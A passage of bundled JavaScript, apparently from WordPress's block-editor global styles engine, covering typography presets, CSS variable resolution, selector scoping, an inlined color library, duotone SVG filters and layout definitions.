7433 if (!isFluidTypographyEnabled(settings2?.typography) && !isFluidTypographyEnabled(preset)) {
7434 return defaultSize;
7435 }
7436 const fluidTypographySettings = getFluidTypographyOptionsFromSettings(settings2)?.fluid ?? {};
7437 const fluidFontSizeValue = getComputedFluidTypographyValue({
7438 minimumFontSize: typeof preset?.fluid === "boolean" ? void 0 : preset?.fluid?.min,
7439 maximumFontSize: typeof preset?.fluid === "boolean" ? void 0 : preset?.fluid?.max,
7440 fontSize: defaultSize,
7441 minimumFontSizeLimit: typeof fluidTypographySettings === "object" ? fluidTypographySettings?.minFontSize : void 0,
7442 maximumViewportWidth: typeof fluidTypographySettings === "object" ? fluidTypographySettings?.maxViewportWidth : void 0,
7443 minimumViewportWidth: typeof fluidTypographySettings === "object" ? fluidTypographySettings?.minViewportWidth : void 0
7444 });
7445 if (!!fluidFontSizeValue) {
7446 return fluidFontSizeValue;
7447 }
7448 return defaultSize;
7449 }
7450
7451 // packages/global-styles-engine/build-module/utils/common.mjs
7452 var ROOT_BLOCK_SELECTOR = "body";
7453 var ROOT_CSS_PROPERTIES_SELECTOR = ":root";
7454 var PRESET_METADATA = [
7455 {
7456 path: ["color", "palette"],
7457 valueKey: "color",
7458 cssVarInfix: "color",
7459 classes: [
7460 { classSuffix: "color", propertyName: "color" },
7461 {
7462 classSuffix: "background-color",
7463 propertyName: "background-color"
7464 },
7465 {
7466 classSuffix: "border-color",
7467 propertyName: "border-color"
7468 }
7469 ]
7470 },
7471 {
7472 path: ["color", "gradients"],
7473 valueKey: "gradient",
7474 cssVarInfix: "gradient",
7475 classes: [
7476 {
7477 classSuffix: "gradient-background",
7478 propertyName: "background"
7479 }
7480 ]
7481 },
7482 {
7483 path: ["color", "duotone"],
7484 valueKey: "colors",
7485 cssVarInfix: "duotone",
7486 valueFunc: ({ slug }) => `url( '#wp-duotone-${slug}' )`,
7487 classes: []
7488 },
7489 {
7490 path: ["shadow", "presets"],
7491 valueKey: "shadow",
7492 cssVarInfix: "shadow",
7493 classes: []
7494 },
7495 {
7496 path: ["typography", "fontSizes"],
7497 valueFunc: (preset, settings2) => getTypographyFontSizeValue(preset, settings2),
7498 valueKey: "size",
7499 cssVarInfix: "font-size",
7500 classes: [{ classSuffix: "font-size", propertyName: "font-size" }]
7501 },
7502 {
7503 path: ["typography", "fontFamilies"],
7504 valueKey: "fontFamily",
7505 cssVarInfix: "font-family",
7506 classes: [
7507 { classSuffix: "font-family", propertyName: "font-family" }
7508 ]
7509 },
7510 {
7511 path: ["spacing", "spacingSizes"],
7512 valueKey: "size",
7513 cssVarInfix: "spacing",
7514 valueFunc: ({ size }) => size,
7515 classes: []
7516 },
7517 {
7518 path: ["border", "radiusSizes"],
7519 valueKey: "size",
7520 cssVarInfix: "border-radius",
7521 classes: []
7522 },
7523 {
7524 path: ["dimensions", "dimensionSizes"],
7525 valueKey: "size",
7526 cssVarInfix: "dimension",
7527 classes: []
7528 }
7529 ];
7530 function scopeSelector(scope, selector2) {
7531 if (!scope || !selector2) {
7532 return selector2;
7533 }
7534 const scopes = scope.split(",");
7535 const selectors = selector2.split(",");
7536 const selectorsScoped = [];
7537 scopes.forEach((outer) => {
7538 selectors.forEach((inner) => {
7539 selectorsScoped.push(`${outer.trim()} ${inner.trim()}`);
7540 });
7541 });
7542 return selectorsScoped.join(", ");
7543 }
7544 function scopeFeatureSelectors(scope, selectors) {
7545 if (!scope || !selectors) {
7546 return;
7547 }
7548 const featureSelectors = {};
7549 Object.entries(selectors).forEach(([feature, selector2]) => {
7550 if (typeof selector2 === "string") {
7551 featureSelectors[feature] = scopeSelector(scope, selector2);
7552 }
7553 if (typeof selector2 === "object") {
7554 featureSelectors[feature] = {};
7555 Object.entries(selector2).forEach(
7556 ([subfeature, subfeatureSelector]) => {
7557 featureSelectors[feature][subfeature] = scopeSelector(
7558 scope,
7559 subfeatureSelector
7560 );
7561 }
7562 );
7563 }
7564 });
7565 return featureSelectors;
7566 }
7567 function appendToSelector(selector2, toAppend) {
7568 if (!selector2.includes(",")) {
7569 return selector2 + toAppend;
7570 }
7571 const selectors = selector2.split(",");
7572 const newSelectors = selectors.map((sel) => sel + toAppend);
7573 return newSelectors.join(",");
7574 }
7575 function getBlockStyleVariationSelector(variation, blockSelector) {
7576 const variationClass = `.is-style-${variation}`;
7577 if (!blockSelector) {
7578 return variationClass;
7579 }
7580 const ancestorRegex = /((?::\([^)]+\))?\s*)([^\s:]+)/;
7581 const addVariationClass = (_match, group1, group2) => {
7582 return group1 + group2 + variationClass;
7583 };
7584 const result = blockSelector.split(",").map((part) => part.replace(ancestorRegex, addVariationClass));
7585 return result.join(",");
7586 }
7587 function getResolvedRefValue(ruleValue, tree) {
7588 if (!ruleValue || !tree) {
7589 return ruleValue;
7590 }
7591 if (typeof ruleValue === "object" && "ref" in ruleValue && ruleValue?.ref) {
7592 const resolvedRuleValue = (0, import_style_engine.getCSSValueFromRawStyle)(
7593 getValueFromObjectPath(tree, ruleValue.ref)
7594 );
7595 if (typeof resolvedRuleValue === "object" && resolvedRuleValue !== null && "ref" in resolvedRuleValue && resolvedRuleValue?.ref) {
7596 return void 0;
7597 }
7598 if (resolvedRuleValue === void 0) {
7599 return ruleValue;
7600 }
7601 return resolvedRuleValue;
7602 }
7603 return ruleValue;
7604 }
7605 function getResolvedThemeFilePath(file, themeFileURIs) {
7606 if (!file || !themeFileURIs || !Array.isArray(themeFileURIs)) {
7607 return file;
7608 }
7609 const uri = themeFileURIs.find(
7610 (themeFileUri) => themeFileUri?.name === file
7611 );
7612 if (!uri?.href) {
7613 return file;
7614 }
7615 return uri?.href;
7616 }
7617 function getResolvedValue(ruleValue, tree) {
7618 if (!ruleValue || !tree) {
7619 return ruleValue;
7620 }
7621 const resolvedValue = getResolvedRefValue(ruleValue, tree);
7622 if (typeof resolvedValue === "object" && resolvedValue !== null && "url" in resolvedValue && resolvedValue?.url) {
7623 resolvedValue.url = getResolvedThemeFilePath(
7624 resolvedValue.url,
7625 tree?._links?.["wp:theme-file"]
7626 );
7627 }
7628 return resolvedValue;
7629 }
7630 function findInPresetsBy(settings2, blockName, presetPath = [], presetProperty = "slug", presetValueValue) {
7631 const orderedPresetsByOrigin = [
7632 blockName ? getValueFromObjectPath(settings2, [
7633 "blocks",
7634 blockName,
7635 ...presetPath
7636 ]) : void 0,
7637 getValueFromObjectPath(settings2, presetPath)
7638 ].filter(Boolean);
7639 for (const presetByOrigin of orderedPresetsByOrigin) {
7640 if (presetByOrigin) {
7641 const origins = ["custom", "theme", "default"];
7642 for (const origin of origins) {
7643 const presets = presetByOrigin[origin];
7644 if (presets) {
7645 const presetObject = presets.find(
7646 (preset) => preset[presetProperty] === presetValueValue
7647 );
7648 if (presetObject) {
7649 if (presetProperty === "slug") {
7650 return presetObject;
7651 }
7652 const highestPresetObjectWithSameSlug = findInPresetsBy(
7653 settings2,
7654 blockName,
7655 presetPath,
7656 "slug",
7657 presetObject.slug
7658 );
7659 if (highestPresetObjectWithSameSlug[presetProperty] === presetObject[presetProperty]) {
7660 return presetObject;
7661 }
7662 return void 0;
7663 }
7664 }
7665 }
7666 }
7667 }
7668 }
7669 function getValueFromPresetVariable(features, blockName, variable, [presetType, slug] = []) {
7670 const metadata = PRESET_METADATA.find(
7671 (data) => data.cssVarInfix === presetType
7672 );
7673 if (!metadata || !features.settings) {
7674 return variable;
7675 }
7676 const presetObject = findInPresetsBy(
7677 features.settings,
7678 blockName,
7679 metadata.path,
7680 "slug",
7681 slug
7682 );
7683 if (presetObject) {
7684 const { valueKey } = metadata;
7685 const result = presetObject[valueKey];
7686 return getValueFromVariable(features, blockName, result);
7687 }
7688 return variable;
7689 }
7690 function getValueFromCustomVariable(features, blockName, variable, path = []) {
7691 const result = (blockName ? getValueFromObjectPath(features?.settings ?? {}, [
7692 "blocks",
7693 blockName,
7694 "custom",
7695 ...path
7696 ]) : void 0) ?? getValueFromObjectPath(features?.settings ?? {}, [
7697 "custom",
7698 ...path
7699 ]);
7700 if (!result) {
7701 return variable;
7702 }
7703 return getValueFromVariable(features, blockName, result);
7704 }
7705 function getValueFromVariable(features, blockName, variable) {
7706 if (!variable || typeof variable !== "string") {
7707 if (typeof variable === "object" && variable !== null && "ref" in variable && typeof variable.ref === "string") {
7708 const resolvedVariable = getValueFromObjectPath(
7709 features,
7710 variable.ref
7711 );
7712 if (!resolvedVariable || typeof resolvedVariable === "object" && "ref" in resolvedVariable) {
7713 return resolvedVariable;
7714 }
7715 variable = resolvedVariable;
7716 } else {
7717 return variable;
7718 }
7719 }
7720 const USER_VALUE_PREFIX = "var:";
7721 const THEME_VALUE_PREFIX = "var(--wp--";
7722 const THEME_VALUE_SUFFIX = ")";
7723 let parsedVar;
7724 if (variable.startsWith(USER_VALUE_PREFIX)) {
7725 parsedVar = variable.slice(USER_VALUE_PREFIX.length).split("|");
7726 } else if (variable.startsWith(THEME_VALUE_PREFIX) && variable.endsWith(THEME_VALUE_SUFFIX)) {
7727 parsedVar = variable.slice(THEME_VALUE_PREFIX.length, -THEME_VALUE_SUFFIX.length).split("--");
7728 } else {
7729 return variable;
7730 }
7731 const [type, ...path] = parsedVar;
7732 if (type === "preset") {
7733 return getValueFromPresetVariable(
7734 features,
7735 blockName,
7736 variable,
7737 path
7738 );
7739 }
7740 if (type === "custom") {
7741 return getValueFromCustomVariable(
7742 features,
7743 blockName,
7744 variable,
7745 path
7746 );
7747 }
7748 return variable;
7749 }
7750
7751 // packages/global-styles-engine/build-module/settings/get-style.mjs
7752 function getStyle(globalStyles, path, blockName, shouldDecodeEncode = true) {
7753 const appendedPath = path ? "." + path : "";
7754 const finalPath = !blockName ? `styles${appendedPath}` : `styles.blocks.${blockName}${appendedPath}`;
7755 if (!globalStyles) {
7756 return void 0;
7757 }
7758 const rawResult = getValueFromObjectPath(globalStyles, finalPath);
7759 const result = shouldDecodeEncode ? getValueFromVariable(globalStyles, blockName, rawResult) : rawResult;
7760 return result;
7761 }
7762
7763 // packages/global-styles-engine/build-module/settings/set-style.mjs
7764 function setStyle(globalStyles, path, newValue, blockName) {
7765 const appendedPath = path ? "." + path : "";
7766 const finalPath = !blockName ? `styles${appendedPath}` : `styles.blocks.${blockName}${appendedPath}`;
7767 return setImmutably(
7768 globalStyles,
7769 finalPath.split("."),
7770 newValue
7771 );
7772 }
7773
7774 // packages/global-styles-engine/build-module/core/equal.mjs
7775 var import_es6 = __toESM(require_es6(), 1);
7776 function areGlobalStylesEqual(original, variation) {
7777 if (typeof original !== "object" || typeof variation !== "object") {
7778 return original === variation;
7779 }
7780 return (0, import_es6.default)(original?.styles, variation?.styles) && (0, import_es6.default)(original?.settings, variation?.settings);
7781 }
7782
7783 // packages/global-styles-engine/build-module/core/merge.mjs
7784 var import_deepmerge = __toESM(require_cjs(), 1);
7785
7786 // node_modules/is-plain-object/dist/is-plain-object.mjs
7787 function isObject(o3) {
7788 return Object.prototype.toString.call(o3) === "[object Object]";
7789 }
7790 function isPlainObject(o3) {
7791 var ctor, prot;
7792 if (isObject(o3) === false) return false;
7793 ctor = o3.constructor;
7794 if (ctor === void 0) return true;
7795 prot = ctor.prototype;
7796 if (isObject(prot) === false) return false;
7797 if (prot.hasOwnProperty("isPrototypeOf") === false) {
7798 return false;
7799 }
7800 return true;
7801 }
7802
7803 // packages/global-styles-engine/build-module/core/merge.mjs
7804 function mergeGlobalStyles(base, user) {
7805 return (0, import_deepmerge.default)(base, user, {
7806 /*
7807 * We only pass as arrays the presets,
7808 * in which case we want the new array of values
7809 * to override the old array (no merging).
7810 */
7811 isMergeableObject: isPlainObject,
7812 /*
7813 * Exceptions to the above rule.
7814 * Background images should be replaced, not merged,
7815 * as they themselves are specific object definitions for the style.
7816 */
7817 customMerge: (key) => {
7818 if (key === "backgroundImage") {
7819 return (baseConfig, userConfig) => userConfig ?? baseConfig;
7820 }
7821 return void 0;
7822 }
7823 });
7824 }
7825
7826 // packages/global-styles-engine/build-module/core/render.mjs
7827 var import_blocks3 = __toESM(require_blocks(), 1);
7828 var import_style_engine2 = __toESM(require_style_engine(), 1);
7829 var import_data17 = __toESM(require_data(), 1);
7830
7831 // packages/global-styles-engine/build-module/core/selectors.mjs
7832 function getBlockSelector(blockType, target = "root", options = {}) {
7833 if (!target) {
7834 return null;
7835 }
7836 const { fallback = false } = options;
7837 const { name: name2, selectors, supports } = blockType;
7838 const hasSelectors = selectors && Object.keys(selectors).length > 0;
7839 const path = Array.isArray(target) ? target.join(".") : target;
7840 let rootSelector = null;
7841 if (hasSelectors && selectors.root) {
7842 rootSelector = selectors?.root;
7843 } else if (supports?.__experimentalSelector) {
7844 rootSelector = supports.__experimentalSelector;
7845 } else {
7846 rootSelector = ".wp-block-" + name2.replace("core/", "").replace("/", "-");
7847 }
7848 if (path === "root") {
7849 return rootSelector;
7850 }
7851 const pathArray = Array.isArray(target) ? target : target.split(".");
7852 if (pathArray.length === 1) {
7853 const fallbackSelector = fallback ? rootSelector : null;
7854 if (hasSelectors) {
7855 const featureSelector2 = getValueFromObjectPath(
7856 selectors,
7857 `${path}.root`,
7858 null
7859 ) || getValueFromObjectPath(selectors, path, null);
7860 return featureSelector2 || fallbackSelector;
7861 }
7862 const featureSelector = supports ? getValueFromObjectPath(
7863 supports,
7864 `${path}.__experimentalSelector`,
7865 null
7866 ) : void 0;
7867 if (!featureSelector) {
7868 return fallbackSelector;
7869 }
7870 return scopeSelector(rootSelector, featureSelector);
7871 }
7872 let subfeatureSelector;
7873 if (hasSelectors) {
7874 subfeatureSelector = getValueFromObjectPath(selectors, path, null);
7875 }
7876 if (subfeatureSelector) {
7877 return subfeatureSelector;
7878 }
7879 if (fallback) {
7880 return getBlockSelector(blockType, pathArray[0], options);
7881 }
7882 return null;
7883 }
7884
7885 // node_modules/colord/index.mjs
7886 var r2 = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
7887 var t = function(r3) {
7888 return "string" == typeof r3 ? r3.length > 0 : "number" == typeof r3;
7889 };
7890 var n = function(r3, t3, n2) {
7891 return void 0 === t3 && (t3 = 0), void 0 === n2 && (n2 = Math.pow(10, t3)), Math.round(n2 * r3) / n2 + 0;
7892 };
7893 var e = function(r3, t3, n2) {
7894 return void 0 === t3 && (t3 = 0), void 0 === n2 && (n2 = 1), r3 > n2 ? n2 : r3 > t3 ? r3 : t3;
7895 };
7896 var u = function(r3) {
7897 return (r3 = isFinite(r3) ? r3 % 360 : 0) > 0 ? r3 : r3 + 360;
7898 };
7899 var a = function(r3) {
7900 return { r: e(r3.r, 0, 255), g: e(r3.g, 0, 255), b: e(r3.b, 0, 255), a: e(r3.a) };
7901 };
7902 var o = function(r3) {
7903 return { r: n(r3.r), g: n(r3.g), b: n(r3.b), a: n(r3.a, 3) };
7904 };
7905 var i = /^#([0-9a-f]{3,8})$/i;
7906 var s = function(r3) {
7907 var t3 = r3.toString(16);
7908 return t3.length < 2 ? "0" + t3 : t3;
7909 };
7910 var h = function(r3) {
7911 var t3 = r3.r, n2 = r3.g, e2 = r3.b, u2 = r3.a, a2 = Math.max(t3, n2, e2), o3 = a2 - Math.min(t3, n2, e2), i2 = o3 ? a2 === t3 ? (n2 - e2) / o3 : a2 === n2 ? 2 + (e2 - t3) / o3 : 4 + (t3 - n2) / o3 : 0;
7912 return { h: 60 * (i2 < 0 ? i2 + 6 : i2), s: a2 ? o3 / a2 * 100 : 0, v: a2 / 255 * 100, a: u2 };
7913 };
7914 var b = function(r3) {
7915 var t3 = r3.h, n2 = r3.s, e2 = r3.v, u2 = r3.a;
7916 t3 = t3 / 360 * 6, n2 /= 100, e2 /= 100;
7917 var a2 = Math.floor(t3), o3 = e2 * (1 - n2), i2 = e2 * (1 - (t3 - a2) * n2), s2 = e2 * (1 - (1 - t3 + a2) * n2), h2 = a2 % 6;
7918 return { r: 255 * [e2, i2, o3, o3, s2, e2][h2], g: 255 * [s2, e2, e2, i2, o3, o3][h2], b: 255 * [o3, o3, s2, e2, e2, i2][h2], a: u2 };
7919 };
7920 var g = function(r3) {
7921 return { h: u(r3.h), s: e(r3.s, 0, 100), l: e(r3.l, 0, 100), a: e(r3.a) };
7922 };
7923 var d = function(r3) {
7924 return { h: n(r3.h), s: n(r3.s), l: n(r3.l), a: n(r3.a, 3) };
7925 };
7926 var f = function(r3) {
7927 return b((n2 = (t3 = r3).s, { h: t3.h, s: (n2 *= ((e2 = t3.l) < 50 ? e2 : 100 - e2) / 100) > 0 ? 2 * n2 / (e2 + n2) * 100 : 0, v: e2 + n2, a: t3.a }));
7928 var t3, n2, e2;
7929 };
7930 var c = function(r3) {
7931 return { h: (t3 = h(r3)).h, s: (u2 = (200 - (n2 = t3.s)) * (e2 = t3.v) / 100) > 0 && u2 < 200 ? n2 * e2 / 100 / (u2 <= 100 ? u2 : 200 - u2) * 100 : 0, l: u2 / 2, a: t3.a };
7932 var t3, n2, e2, u2;
7933 };
7934 var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
7935 var p2 = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
7936 var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
7937 var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
7938 var y = { string: [[function(r3) {
7939 var t3 = i.exec(r3);
7940 return t3 ? (r3 = t3[1]).length <= 4 ? { r: parseInt(r3[0] + r3[0], 16), g: parseInt(r3[1] + r3[1], 16), b: parseInt(r3[2] + r3[2], 16), a: 4 === r3.length ? n(parseInt(r3[3] + r3[3], 16) / 255, 2) : 1 } : 6 === r3.length || 8 === r3.length ? { r: parseInt(r3.substr(0, 2), 16), g: parseInt(r3.substr(2, 2), 16), b: parseInt(r3.substr(4, 2), 16), a: 8 === r3.length ? n(parseInt(r3.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
7941 }, "hex"], [function(r3) {
7942 var t3 = v.exec(r3) || m.exec(r3);
7943 return t3 ? t3[2] !== t3[4] || t3[4] !== t3[6] ? null : a({ r: Number(t3[1]) / (t3[2] ? 100 / 255 : 1), g: Number(t3[3]) / (t3[4] ? 100 / 255 : 1), b: Number(t3[5]) / (t3[6] ? 100 / 255 : 1), a: void 0 === t3[7] ? 1 : Number(t3[7]) / (t3[8] ? 100 : 1) }) : null;
7944 }, "rgb"], [function(t3) {
7945 var n2 = l.exec(t3) || p2.exec(t3);
7946 if (!n2) return null;
7947 var e2, u2, a2 = g({ h: (e2 = n2[1], u2 = n2[2], void 0 === u2 && (u2 = "deg"), Number(e2) * (r2[u2] || 1)), s: Number(n2[3]), l: Number(n2[4]), a: void 0 === n2[5] ? 1 : Number(n2[5]) / (n2[6] ? 100 : 1) });
7948 return f(a2);
7949 }, "hsl"]], object: [[function(r3) {
7950 var n2 = r3.r, e2 = r3.g, u2 = r3.b, o3 = r3.a, i2 = void 0 === o3 ? 1 : o3;
7951 return t(n2) && t(e2) && t(u2) ? a({ r: Number(n2), g: Number(e2), b: Number(u2), a: Number(i2) }) : null;
7952 }, "rgb"], [function(r3) {
7953 var n2 = r3.h, e2 = r3.s, u2 = r3.l, a2 = r3.a, o3 = void 0 === a2 ? 1 : a2;
7954 if (!t(n2) || !t(e2) || !t(u2)) return null;
7955 var i2 = g({ h: Number(n2), s: Number(e2), l: Number(u2), a: Number(o3) });
7956 return f(i2);
7957 }, "hsl"], [function(r3) {
7958 var n2 = r3.h, a2 = r3.s, o3 = r3.v, i2 = r3.a, s2 = void 0 === i2 ? 1 : i2;
7959 if (!t(n2) || !t(a2) || !t(o3)) return null;
7960 var h2 = (function(r4) {
7961 return { h: u(r4.h), s: e(r4.s, 0, 100), v: e(r4.v, 0, 100), a: e(r4.a) };
7962 })({ h: Number(n2), s: Number(a2), v: Number(o3), a: Number(s2) });
7963 return b(h2);
7964 }, "hsv"]] };
7965 var N = function(r3, t3) {
7966 for (var n2 = 0; n2 < t3.length; n2++) {
7967 var e2 = t3[n2][0](r3);
7968 if (e2) return [e2, t3[n2][1]];
7969 }
7970 return [null, void 0];
7971 };
7972 var x = function(r3) {
7973 return "string" == typeof r3 ? N(r3.trim(), y.string) : "object" == typeof r3 && null !== r3 ? N(r3, y.object) : [null, void 0];
7974 };
7975 var M = function(r3, t3) {
7976 var n2 = c(r3);
7977 return { h: n2.h, s: e(n2.s + 100 * t3, 0, 100), l: n2.l, a: n2.a };
7978 };
7979 var H = function(r3) {
7980 return (299 * r3.r + 587 * r3.g + 114 * r3.b) / 1e3 / 255;
7981 };
7982 var $ = function(r3, t3) {
7983 var n2 = c(r3);
7984 return { h: n2.h, s: n2.s, l: e(n2.l + 100 * t3, 0, 100), a: n2.a };
7985 };
7986 var j = (function() {
7987 function r3(r4) {
7988 this.parsed = x(r4)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
7989 }
7990 return r3.prototype.isValid = function() {
7991 return null !== this.parsed;
7992 }, r3.prototype.brightness = function() {
7993 return n(H(this.rgba), 2);
7994 }, r3.prototype.isDark = function() {
7995 return H(this.rgba) < 0.5;
7996 }, r3.prototype.isLight = function() {
7997 return H(this.rgba) >= 0.5;
7998 }, r3.prototype.toHex = function() {
7999 return r4 = o(this.rgba), t3 = r4.r, e2 = r4.g, u2 = r4.b, i2 = (a2 = r4.a) < 1 ? s(n(255 * a2)) : "", "#" + s(t3) + s(e2) + s(u2) + i2;
8000 var r4, t3, e2, u2, a2, i2;
8001 }, r3.prototype.toRgb = function() {
8002 return o(this.rgba);
8003 }, r3.prototype.toRgbString = function() {
8004 return r4 = o(this.rgba), t3 = r4.r, n2 = r4.g, e2 = r4.b, (u2 = r4.a) < 1 ? "rgba(" + t3 + ", " + n2 + ", " + e2 + ", " + u2 + ")" : "rgb(" + t3 + ", " + n2 + ", " + e2 + ")";
8005 var r4, t3, n2, e2, u2;
8006 }, r3.prototype.toHsl = function() {
8007 return d(c(this.rgba));
8008 }, r3.prototype.toHslString = function() {
8009 return r4 = d(c(this.rgba)), t3 = r4.h, n2 = r4.s, e2 = r4.l, (u2 = r4.a) < 1 ? "hsla(" + t3 + ", " + n2 + "%, " + e2 + "%, " + u2 + ")" : "hsl(" + t3 + ", " + n2 + "%, " + e2 + "%)";
8010 var r4, t3, n2, e2, u2;
8011 }, r3.prototype.toHsv = function() {
8012 return r4 = h(this.rgba), { h: n(r4.h), s: n(r4.s), v: n(r4.v), a: n(r4.a, 3) };
8013 var r4;
8014 }, r3.prototype.invert = function() {
8015 return w({ r: 255 - (r4 = this.rgba).r, g: 255 - r4.g, b: 255 - r4.b, a: r4.a });
8016 var r4;
8017 }, r3.prototype.saturate = function(r4) {
8018 return void 0 === r4 && (r4 = 0.1), w(M(this.rgba, r4));
8019 }, r3.prototype.desaturate = function(r4) {
8020 return void 0 === r4 && (r4 = 0.1), w(M(this.rgba, -r4));
8021 }, r3.prototype.grayscale = function() {
8022 return w(M(this.rgba, -1));
8023 }, r3.prototype.lighten = function(r4) {
8024 return void 0 === r4 && (r4 = 0.1), w($(this.rgba, r4));
8025 }, r3.prototype.darken = function(r4) {
8026 return void 0 === r4 && (r4 = 0.1), w($(this.rgba, -r4));
8027 }, r3.prototype.rotate = function(r4) {
8028 return void 0 === r4 && (r4 = 15), this.hue(this.hue() + r4);
8029 }, r3.prototype.alpha = function(r4) {
8030 return "number" == typeof r4 ? w({ r: (t3 = this.rgba).r, g: t3.g, b: t3.b, a: r4 }) : n(this.rgba.a, 3);
8031 var t3;
8032 }, r3.prototype.hue = function(r4) {
8033 var t3 = c(this.rgba);
8034 return "number" == typeof r4 ? w({ h: r4, s: t3.s, l: t3.l, a: t3.a }) : n(t3.h);
8035 }, r3.prototype.isEqual = function(r4) {
8036 return this.toHex() === w(r4).toHex();
8037 }, r3;
8038 })();
8039 var w = function(r3) {
8040 return r3 instanceof j ? r3 : new j(r3);
8041 };
8042 var S = [];
8043 var k = function(r3) {
8044 r3.forEach(function(r4) {
8045 S.indexOf(r4) < 0 && (r4(j, y), S.push(r4));
8046 });
8047 };
8048
8049 // packages/global-styles-engine/build-module/utils/duotone.mjs
8050 function getValuesFromColors(colors2 = []) {
8051 const values = {
8052 r: [],
8053 g: [],
8054 b: [],
8055 a: []
8056 };
8057 colors2.forEach((color) => {
8058 const rgbColor = w(color).toRgb();
8059 values.r.push(rgbColor.r / 255);
8060 values.g.push(rgbColor.g / 255);
8061 values.b.push(rgbColor.b / 255);
8062 values.a.push(rgbColor.a);
8063 });
8064 return values;
8065 }
8066 function getDuotoneFilter(id, colors2) {
8067 const values = getValuesFromColors(colors2);
8068 return `
8069<svg
8070 xmlns:xlink="http://www.w3.org/1999/xlink"
8071 viewBox="0 0 0 0"
8072 width="0"
8073 height="0"
8074 focusable="false"
8075 role="none"
8076 aria-hidden="true"
8077 style="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;"
8078>
8079 <defs>
8080 <filter id="${id}">
8081 <!--
8082 Use sRGB instead of linearRGB so transparency looks correct.
8083 Use perceptual brightness to convert to grayscale.
8084 -->
8085 <feColorMatrix color-interpolation-filters="sRGB" type="matrix" values=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 "></feColorMatrix>
8086 <!-- Use sRGB instead of linearRGB to be consistent with how CSS gradients work. -->
8087 <feComponentTransfer color-interpolation-filters="sRGB">
8088 <feFuncR type="table" tableValues="${values.r.join(" ")}"></feFuncR>
8089 <feFuncG type="table" tableValues="${values.g.join(" ")}"></feFuncG>
8090 <feFuncB type="table" tableValues="${values.b.join(" ")}"></feFuncB>
8091 <feFuncA type="table" tableValues="${values.a.join(" ")}"></feFuncA>
8092 </feComponentTransfer>
8093 <!-- Re-mask the image with the original transparency since the feColorMatrix above loses that information. -->
8094 <feComposite in2="SourceGraphic" operator="in"></feComposite>
8095 </filter>
8096 </defs>
8097</svg>`;
8098 }
8099
8100 // packages/global-styles-engine/build-module/utils/string.mjs
8101 function kebabCase(str) {
8102 return str.replace(/([a-z])([A-Z])/g, "$1-$2").replace(/([0-9])([a-zA-Z])/g, "$1-$2").replace(/([a-zA-Z])([0-9])/g, "$1-$2").replace(/[\s_]+/g, "-").toLowerCase();
8103 }
8104
8105 // packages/global-styles-engine/build-module/utils/spacing.mjs
8106 function getSpacingPresetCssVar(value) {
8107 if (!value) {
8108 return;
8109 }
8110 const slug = value.match(/var:preset\|spacing\|(.+)/);
8111 if (!slug) {
8112 return value;
8113 }
8114 return `var(--wp--preset--spacing--${slug[1]})`;
8115 }
8116
8117 // packages/global-styles-engine/build-module/utils/gap.mjs
8118 function getGapBoxControlValueFromStyle(blockGapValue) {
8119 if (!blockGapValue) {
8120 return null;
8121 }
8122 const isValueString = typeof blockGapValue === "string";
8123 return {
8124 top: isValueString ? blockGapValue : blockGapValue?.top,
8125 left: isValueString ? blockGapValue : blockGapValue?.left
8126 };
8127 }
8128 function getGapCSSValue(blockGapValue, defaultValue2 = "0") {
8129 const blockGapBoxControlValue = getGapBoxControlValueFromStyle(blockGapValue);
8130 if (!blockGapBoxControlValue) {
8131 return null;
8132 }
8133 const row = getSpacingPresetCssVar(blockGapBoxControlValue?.top) || defaultValue2;
8134 const column = getSpacingPresetCssVar(blockGapBoxControlValue?.left) || defaultValue2;
8135 return row === column ? row : `${row} ${column}`;
8136 }
8137
8138 // packages/global-styles-engine/build-module/utils/background.mjs
8139 var BACKGROUND_BLOCK_DEFAULT_VALUES = {
8140 backgroundSize: "cover",
8141 backgroundPosition: "50% 50%"
8142 // used only when backgroundSize is 'contain'.
8143 };
8144 function setBackgroundStyleDefaults(backgroundStyle) {
8145 if (!backgroundStyle || // @ts-expect-error
8146 !backgroundStyle?.backgroundImage?.url) {
8147 return;
8148 }
8149 let backgroundStylesWithDefaults;
8150 if (!backgroundStyle?.backgroundSize) {
8151 backgroundStylesWithDefaults = {
8152 backgroundSize: BACKGROUND_BLOCK_DEFAULT_VALUES.backgroundSize
8153 };
8154 }
8155 if ("contain" === backgroundStyle?.backgroundSize && !backgroundStyle?.backgroundPosition) {
8156 backgroundStylesWithDefaults = {
8157 backgroundPosition: BACKGROUND_BLOCK_DEFAULT_VALUES.backgroundPosition
8158 };
8159 }
8160 return backgroundStylesWithDefaults;
8161 }
8162
8163 // packages/global-styles-engine/build-module/utils/layout.mjs
8164 var LAYOUT_DEFINITIONS = {
8165 default: {
8166 name: "default",
8167 slug: "flow",
8168 className: "is-layout-flow",
8169 baseStyles: [
8170 {
8171 selector: " > .alignleft",
8172 rules: {
8173 float: "left",
8174 "margin-inline-start": "0",
8175 "margin-inline-end": "2em"
8176 }
8177 },
8178 {
8179 selector: " > .alignright",
8180 rules: {
8181 float: "right",
8182 "margin-inline-start": "2em",
8183 "margin-inline-end": "0"
8184 }
8185 },
8186 {
8187 selector: " > .aligncenter",
8188 rules: {
8189 "margin-left": "auto !important",
8190 "margin-right": "auto !important"
8191 }
8192 }
8193 ],
8194 spacingStyles: [
8195 {
8196 selector: " > :first-child",
8197 rules: {
8198 "margin-block-start": "0"
8199 }
8200 },
8201 {
8202 selector: " > :last-child",
